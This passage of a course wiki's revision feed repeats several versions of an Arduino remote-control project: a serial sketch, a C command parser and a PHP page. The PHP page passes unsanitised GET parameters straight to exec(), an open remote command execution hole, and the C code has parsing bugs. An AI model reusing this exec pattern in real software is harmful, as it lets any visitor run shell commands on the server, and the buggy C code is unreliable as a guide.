 * @param const char* delim a pointer to the delimiter.&lt;br /&gt;
 * @return number of elements in the split array&lt;br /&gt;
 */&lt;br /&gt;
int strspl(char*** split, char* string, const char* delim)&lt;br /&gt;
{&lt;br /&gt;
   char* result;&lt;br /&gt;
   char* parsed = malloc(strlen(string)+1);&lt;br /&gt;
   char* tofree = parsed;&lt;br /&gt;
&lt;br /&gt;
   if(*split == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *split = malloc(sizeof(char*) * MAXIMUM_CHAIN);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   strcpy(parsed, string);&lt;br /&gt;
&lt;br /&gt;
   int i = 0;&lt;br /&gt;
   while((result = strtok(parsed, delim)) != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      //subsequent calls to strtok must have NULL in the first&lt;br /&gt;
      //parameter&lt;br /&gt;
      parsed = NULL;&lt;br /&gt;
&lt;br /&gt;
      //(*split)[i] = result;&lt;br /&gt;
      (*split)[i] = malloc(strlen(result) * sizeof(char) + 1);&lt;br /&gt;
      strcpy((*split)[i], result);&lt;br /&gt;
&lt;br /&gt;
      printf(&amp;quot;%s\n&amp;quot;, result);&lt;br /&gt;
&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   free(tofree);&lt;br /&gt;
   return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * read_commands&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Reads commands from an array produced by strspl&lt;br /&gt;
 *&lt;br /&gt;
 * @return integer determining which action has to be executed&lt;br /&gt;
 *          (HINTHINT Send it directly to arduino)&lt;br /&gt;
 */&lt;br /&gt;
char read_commands(char** commands, int argc)&lt;br /&gt;
{&lt;br /&gt;
   int action = 0;&lt;br /&gt;
   int pin;&lt;br /&gt;
&lt;br /&gt;
   if(strcmp(commands[0], &amp;quot;LED&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(strcmp(commands[1], &amp;quot;ON&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 10 + pin;&lt;br /&gt;
      }&lt;br /&gt;
      else if(strcmp(commands[2], &amp;quot;OFF&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 0 + pin;&lt;br /&gt;
      }&lt;br /&gt;
   }&lt;br /&gt;
   else if(strcmp(commands[0], &amp;quot;SEND&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      action = atoi(commands[1]);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return action;//TODO&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   if(argc &amp;lt; 1) usage();&lt;br /&gt;
&lt;br /&gt;
   int fd;&lt;br /&gt;
   int i;&lt;br /&gt;
   char* message;&lt;br /&gt;
   size_t size = 1024;&lt;br /&gt;
   int read;&lt;br /&gt;
   char** split = NULL;&lt;br /&gt;
   int tokens;&lt;br /&gt;
   char delim = ' ';&lt;br /&gt;
   char read_command = 0;&lt;br /&gt;
&lt;br /&gt;
   message = malloc(size);&lt;br /&gt;
&lt;br /&gt;
   fd = open(argv[1], O_RDWR);&lt;br /&gt;
   checkError(fd);&lt;br /&gt;
&lt;br /&gt;
   if(argc &amp;gt; 2)&lt;br /&gt;
   {&lt;br /&gt;
      read_command = read_commands(argv+2, argc-2);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   do&lt;br /&gt;
   {&lt;br /&gt;
      read = getline(&amp;amp;message, &amp;amp;size, stdin);&lt;br /&gt;
&lt;br /&gt;
      tokens = strspl(&amp;amp;split, message, &amp;amp;delim);&lt;br /&gt;
&lt;br /&gt;
      read_command = read_commands(split, tokens);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
&lt;br /&gt;
   }while(1);&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&amp;quot;script&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;args&amp;quot;]))&lt;br /&gt;
{&lt;br /&gt;
   $result = exec($_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;, $output, $return);&lt;br /&gt;
      echo $_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; called, result = $result!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
      if(!$return)&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;Succesful!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;No.&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      echo &amp;quot;$output&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;$result&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=929</id>
		<title>Arduino web controller</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=929"/>
		<updated>2015-03-24T14:09:26Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Federico Giuggioloni ==&lt;br /&gt;
&lt;br /&gt;
Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.&lt;br /&gt;
se n e' minore di 10 mand a LOW al numero specificato, se e' maggiore di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.&lt;br /&gt;
&lt;br /&gt;
Sketch Arduino:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int incomingByte = -1;&lt;br /&gt;
&lt;br /&gt;
void setup()  &lt;br /&gt;
{&lt;br /&gt;
  // Open serial communications and wait for port to open:&lt;br /&gt;
  Serial.begin(9600);  //57600&lt;br /&gt;
  &lt;br /&gt;
  pinMode(8, OUTPUT);&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;Hello world!&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() // run over and over&lt;br /&gt;
{&lt;br /&gt;
  if (Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    incomingByte = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;I received: &amp;quot;);&lt;br /&gt;
    Serial.println(incomingByte, DEC);&lt;br /&gt;
    &lt;br /&gt;
    if( incomingByte &amp;lt; 10 )&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte, LOW); &lt;br /&gt;
    }&lt;br /&gt;
    else if(incomingByte &amp;lt; 20)&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte-10, HIGH);&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAXIMUM_CHAIN 16&lt;br /&gt;
&lt;br /&gt;
void usage()&lt;br /&gt;
{&lt;br /&gt;
   printf(&amp;quot;Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n&amp;quot;);&lt;br /&gt;
   exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void checkError(int result)&lt;br /&gt;
{&lt;br /&gt;
   if(result &amp;lt; 0)&lt;br /&gt;
   {&lt;br /&gt;
      printf(&amp;quot;Error: %s (%i)\n&amp;quot;, strerror(errno), errno);&lt;br /&gt;
      exit(1);&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * strspl&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Splits a string and allocates memory for an array&lt;br /&gt;
 * which contains the result of the split.&lt;br /&gt;
 *&lt;br /&gt;
 * @param char*** split a pointer to a string array,&lt;br /&gt;
 *          can be null. after the call, it'll be an&lt;br /&gt;
 *          array with the required elements.&lt;br /&gt;
 * @param char* string a pointer to the string to split&lt;br /&gt;
 * @param const char* delim a pointer to the delimiter.&lt;br /&gt;
 * @return number of elements in the split array&lt;br /&gt;
 */&lt;br /&gt;
int strspl(char*** split, char* string, const char* delim)&lt;br /&gt;
{&lt;br /&gt;
   char* result;&lt;br /&gt;
   char* parsed = malloc(strlen(string)+1);&lt;br /&gt;
   char* tofree = parsed;&lt;br /&gt;
&lt;br /&gt;
   if(*split == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *split = malloc(sizeof(char*) * MAXIMUM_CHAIN);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   strcpy(parsed, string);&lt;br /&gt;
&lt;br /&gt;
   int i = 0;&lt;br /&gt;
   while((result = strtok(parsed, delim)) != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      //subsequent calls to strtok must have NULL in the first&lt;br /&gt;
      //parameter&lt;br /&gt;
      parsed = NULL;&lt;br /&gt;
&lt;br /&gt;
      //(*split)[i] = result;&lt;br /&gt;
      (*split)[i] = malloc(strlen(result) * sizeof(char) + 1);&lt;br /&gt;
      strcpy((*split)[i], result);&lt;br /&gt;
&lt;br /&gt;
      printf(&amp;quot;%s\n&amp;quot;, result);&lt;br /&gt;
&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   free(tofree);&lt;br /&gt;
   return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * read_commands&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Reads commands from an array produced by strspl&lt;br /&gt;
 *&lt;br /&gt;
 * @return integer determining which action has to be executed&lt;br /&gt;
 *          (HINTHINT Send it directly to arduino)&lt;br /&gt;
 */&lt;br /&gt;
char read_commands(char** commands, int argc)&lt;br /&gt;
{&lt;br /&gt;
   int action = 0;&lt;br /&gt;
   int pin;&lt;br /&gt;
&lt;br /&gt;
   if(strcmp(commands[0], &amp;quot;LED&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(strcmp(commands[1], &amp;quot;ON&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 10 + pin;&lt;br /&gt;
      }&lt;br /&gt;
      else if(strcmp(commands[2], &amp;quot;OFF&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 0 + pin;&lt;br /&gt;
      }&lt;br /&gt;
   }&lt;br /&gt;
   else if(strcmp(commands[0], &amp;quot;SEND&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      action = atoi(commands[1]);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return action;//TODO&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   if(argc &amp;lt; 1) usage();&lt;br /&gt;
&lt;br /&gt;
   int fd;&lt;br /&gt;
   int i;&lt;br /&gt;
   char* message;&lt;br /&gt;
   size_t size = 1024;&lt;br /&gt;
   int read;&lt;br /&gt;
   char** split = NULL;&lt;br /&gt;
   int tokens;&lt;br /&gt;
   char delim = ' ';&lt;br /&gt;
   char read_command = 0;&lt;br /&gt;
&lt;br /&gt;
   message = malloc(size);&lt;br /&gt;
&lt;br /&gt;
   fd = open(argv[1], O_RDWR);&lt;br /&gt;
   checkError(fd);&lt;br /&gt;
&lt;br /&gt;
   if(argc &amp;gt; 2)&lt;br /&gt;
   {&lt;br /&gt;
      read_command = read_commands(argv+2, argc-2);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   do&lt;br /&gt;
   {&lt;br /&gt;
      read = getline(&amp;amp;message, &amp;amp;size, stdin);&lt;br /&gt;
&lt;br /&gt;
      tokens = strspl(&amp;amp;split, message, &amp;amp;delim);&lt;br /&gt;
&lt;br /&gt;
      read_command = read_commands(split, tokens);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
&lt;br /&gt;
   }while(1);&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&amp;quot;script&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;args&amp;quot;]))&lt;br /&gt;
{&lt;br /&gt;
   $result = exec($_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;, $output, $return);&lt;br /&gt;
      echo $_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; called, result = $result!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
      if(!$return)&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;Succesful!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;No.&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      echo &amp;quot;$output&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;$result&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=928</id>
		<title>Arduino web controller</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=928"/>
		<updated>2015-03-24T14:07:30Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Federico Giuggioloni ==&lt;br /&gt;
&lt;br /&gt;
Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.&lt;br /&gt;
se n e' minore di 10 mand a LOW al numero secificato, se e' maggiore di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.&lt;br /&gt;
&lt;br /&gt;
Sketch Arduino:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int incomingByte = -1;&lt;br /&gt;
&lt;br /&gt;
void setup()  &lt;br /&gt;
{&lt;br /&gt;
  // Open serial communications and wait for port to open:&lt;br /&gt;
  Serial.begin(9600);  //57600&lt;br /&gt;
  &lt;br /&gt;
  pinMode(8, OUTPUT);&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;Hello world!&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() // run over and over&lt;br /&gt;
{&lt;br /&gt;
  if (Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    incomingByte = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;I received: &amp;quot;);&lt;br /&gt;
    Serial.println(incomingByte, DEC);&lt;br /&gt;
    &lt;br /&gt;
    if( incomingByte &amp;lt; 10 )&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte, LOW); &lt;br /&gt;
    }&lt;br /&gt;
    else if(incomingByte &amp;lt; 20)&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte-10, HIGH);&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAXIMUM_CHAIN 16&lt;br /&gt;
&lt;br /&gt;
void usage()&lt;br /&gt;
{&lt;br /&gt;
   printf(&amp;quot;Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n&amp;quot;);&lt;br /&gt;
   exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void checkError(int result)&lt;br /&gt;
{&lt;br /&gt;
   if(result &amp;lt; 0)&lt;br /&gt;
   {&lt;br /&gt;
      printf(&amp;quot;Error: %s (%i)\n&amp;quot;, strerror(errno), errno);&lt;br /&gt;
      exit(1);&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * strspl&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Splits a string and allocates memory for an array&lt;br /&gt;
 * which contains the result of the split.&lt;br /&gt;
 *&lt;br /&gt;
 * @param char*** split a pointer to a string array,&lt;br /&gt;
 *          can be null. after the call, it'll be an&lt;br /&gt;
 *          array with the required elements.&lt;br /&gt;
 * @param char* string a pointer to the string to split&lt;br /&gt;
 * @param const char* delim a pointer to the delimiter.&lt;br /&gt;
 * @return number of elements in the split array&lt;br /&gt;
 */&lt;br /&gt;
int strspl(char*** split, char* string, const char* delim)&lt;br /&gt;
{&lt;br /&gt;
   char* result;&lt;br /&gt;
   char* parsed = malloc(strlen(string)+1);&lt;br /&gt;
   char* tofree = parsed;&lt;br /&gt;
&lt;br /&gt;
   if(*split == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *split = malloc(sizeof(char*) * MAXIMUM_CHAIN);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   strcpy(parsed, string);&lt;br /&gt;
&lt;br /&gt;
   int i = 0;&lt;br /&gt;
   while((result = strtok(parsed, delim)) != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      //subsequent calls to strtok must have NULL in the first&lt;br /&gt;
      //parameter&lt;br /&gt;
      parsed = NULL;&lt;br /&gt;
&lt;br /&gt;
      //(*split)[i] = result;&lt;br /&gt;
      (*split)[i] = malloc(strlen(result) * sizeof(char) + 1);&lt;br /&gt;
      strcpy((*split)[i], result);&lt;br /&gt;
&lt;br /&gt;
      printf(&amp;quot;%s\n&amp;quot;, result);&lt;br /&gt;
&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   free(tofree);&lt;br /&gt;
   return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * read_commands&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Reads commands from an array produced by strspl&lt;br /&gt;
 *&lt;br /&gt;
 * @return integer determining which action has to be executed&lt;br /&gt;
 *          (HINTHINT Send it directly to arduino)&lt;br /&gt;
 */&lt;br /&gt;
char read_commands(char** commands, int argc)&lt;br /&gt;
{&lt;br /&gt;
   int action = 0;&lt;br /&gt;
   int pin;&lt;br /&gt;
&lt;br /&gt;
   if(strcmp(commands[0], &amp;quot;LED&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(strcmp(commands[1], &amp;quot;ON&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 10 + pin;&lt;br /&gt;
      }&lt;br /&gt;
      else if(strcmp(commands[2], &amp;quot;OFF&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 0 + pin;&lt;br /&gt;
      }&lt;br /&gt;
   }&lt;br /&gt;
   else if(strcmp(commands[0], &amp;quot;SEND&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      action = atoi(commands[1]);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return action;//TODO&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   if(argc &amp;lt; 1) usage();&lt;br /&gt;
&lt;br /&gt;
   int fd;&lt;br /&gt;
   int i;&lt;br /&gt;
   char* message;&lt;br /&gt;
   size_t size = 1024;&lt;br /&gt;
   int read;&lt;br /&gt;
   char** split = NULL;&lt;br /&gt;
   int tokens;&lt;br /&gt;
   char delim = ' ';&lt;br /&gt;
   char read_command = 0;&lt;br /&gt;
&lt;br /&gt;
   message = malloc(size);&lt;br /&gt;
&lt;br /&gt;
   fd = open(argv[1], O_RDWR);&lt;br /&gt;
   checkError(fd);&lt;br /&gt;
&lt;br /&gt;
   if(argc &amp;gt; 2)&lt;br /&gt;
   {&lt;br /&gt;
      read_command = read_commands(argv+2, argc-2);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   do&lt;br /&gt;
   {&lt;br /&gt;
      read = getline(&amp;amp;message, &amp;amp;size, stdin);&lt;br /&gt;
&lt;br /&gt;
      tokens = strspl(&amp;amp;split, message, &amp;amp;delim);&lt;br /&gt;
&lt;br /&gt;
      read_command = read_commands(split, tokens);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
&lt;br /&gt;
   }while(1);&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&amp;quot;script&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;args&amp;quot;]))&lt;br /&gt;
{&lt;br /&gt;
   $result = exec($_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;, $output, $return);&lt;br /&gt;
      echo $_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; called, result = $result!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
      if(!$return)&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;Succesful!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;No.&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      echo &amp;quot;$output&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;$result&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=927</id>
		<title>Arduino web controller</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=927"/>
		<updated>2015-03-24T14:03:50Z</updated>

		<summary type="html">&lt;p&gt;GFede: Created page with &amp;quot;Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai prim...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.&lt;br /&gt;
se n e' minore di 10 mand a LOW al numero secificato, se e' maggiore di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.&lt;br /&gt;
&lt;br /&gt;
Sketch Arduino:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int incomingByte = -1;&lt;br /&gt;
&lt;br /&gt;
void setup()  &lt;br /&gt;
{&lt;br /&gt;
  // Open serial communications and wait for port to open:&lt;br /&gt;
  Serial.begin(9600);  //57600&lt;br /&gt;
  &lt;br /&gt;
  pinMode(8, OUTPUT);&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;Hello world!&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() // run over and over&lt;br /&gt;
{&lt;br /&gt;
  if (Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    incomingByte = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;I received: &amp;quot;);&lt;br /&gt;
    Serial.println(incomingByte, DEC);&lt;br /&gt;
    &lt;br /&gt;
    if( incomingByte &amp;lt; 10 )&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte, LOW); &lt;br /&gt;
    }&lt;br /&gt;
    else if(incomingByte &amp;lt; 20)&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte-10, HIGH);&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAXIMUM_CHAIN 16&lt;br /&gt;
&lt;br /&gt;
void usage()&lt;br /&gt;
{&lt;br /&gt;
   printf(&amp;quot;Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n&amp;quot;);&lt;br /&gt;
   exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void checkError(int result)&lt;br /&gt;
{&lt;br /&gt;
   if(result &amp;lt; 0)&lt;br /&gt;
   {&lt;br /&gt;
